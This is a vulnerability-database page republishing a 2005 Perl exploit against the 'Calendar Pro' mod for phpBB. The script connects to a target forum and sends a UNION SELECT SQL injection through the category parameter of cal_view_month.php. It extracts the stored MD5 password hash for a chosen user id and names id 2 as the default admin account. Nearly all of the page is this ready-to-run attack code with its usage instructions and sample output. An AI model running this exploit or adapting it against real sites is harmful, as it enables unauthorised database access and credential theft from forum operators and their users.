Lucene search
K

phpBB <= 2.0.13 'Calendar Pro' mod Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

phpBB 'Calendar Pro' Mod Remote Exploi

Code

                                                #!/usr/bin/perl -w
use IO::Socket;

##    Example:
##    C:\&#62;cal_phpbb.pl www.site.com /phpBB2/ 2
##
##    &#39;Calendar Pro&#39; Mod for phpBB
##    *************************
##      [~] Connecting...
##      [+] Connected!
##      [~] Sending Data...
##      [~] Data Sent, Waiting for response...
##      [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055
##
if (@ARGV &#60; 3)
{
print &#34;\n\n&#34;;
print &#34;|****************************************************************|\n&#34;;
print &#34; &#39;Calendar Pro&#39; Mod &#60;= 2.0.33 (Newest version) For phpBB\n&#34;;
print &#34; Bug found by Axl\n&#34;;
print &#34; Coded by CereBrums // 4/4/2005\n&#34;;
print &#34; Usage: cal_phpbb.pl &#60;server&#62; &#60;folder&#62; &#60;user_id&#62;\n&#34;;
print &#34; e.g.: cal_phpbb.pl www.site.com /phpBB2/ 2 \n&#34;;
print &#34; [~] &#60;server&#62; - site address\n&#34;;
print &#34; [~] &#60;folder&#62; - forum folder\n&#34;;
print &#34; [~] &#60;user_id&#62; - user id (2 is default for phpBB admin) \n&#34;;
print &#34;|****************************************************************|\n&#34;;
print &#34;\n\n&#34;;
exit(1);
}

$take = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print &#34;\n &#39;Calendar Pro&#39; Mod for phpBB\n&#34;;
print &#34; *****************************\n&#34;;
print &#34;  [~] Connecting...\n&#34;;
$socket = IO::Socket::INET-&#62;new(
Proto =&#62; &#34;tcp&#34;,
PeerAddr =&#62; &#34;$server&#34;,
PeerPort =&#62; &#34;80&#34;) || die &#34;$socket error $!&#34;;

print &#34;  [+] Connected!\n&#34;;
print &#34;  [~] Sending Data...\n&#34;;

$path = &#34;http://$server/&#34;;
$path .= &#34;/$folder/&#34;;
$path .= &#34;cal_view_month.php?month=04&year=2005&category=-1%20UNION%20SELECT%20user_password%20FROM%20phpbb_users%20where%20user_id=$user_id/*&#34;;
print $socket &#34;GET $path HTTP/1.0\r\n\r\n&#34;;

print &#34;  [~] Data Sent, Waiting for response...\n&#34;;

while ($answer = &#60;$socket&#62;)
{
       if ($take == 1) {
               $in = rindex ($answer, &#34;(&#34;);
               if ( $in &#62; -1 ) {
                       $pass = substr($answer,$in+1,32);
                       print &#34;  [+] MD5 Hash for user with id=$user_id is: $pass\n&#34;;
                       exit();
               }
       }
       if ( rindex ($answer,&#34;cal_view_month.php?month=3&year=2005&#34;) &#62; -1 ) {
               $take = 1;
       }
}
print &#34;  [-] Exploit failed\n&#34;;

#### EOF ####

# milw0rm.com [2005-04-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14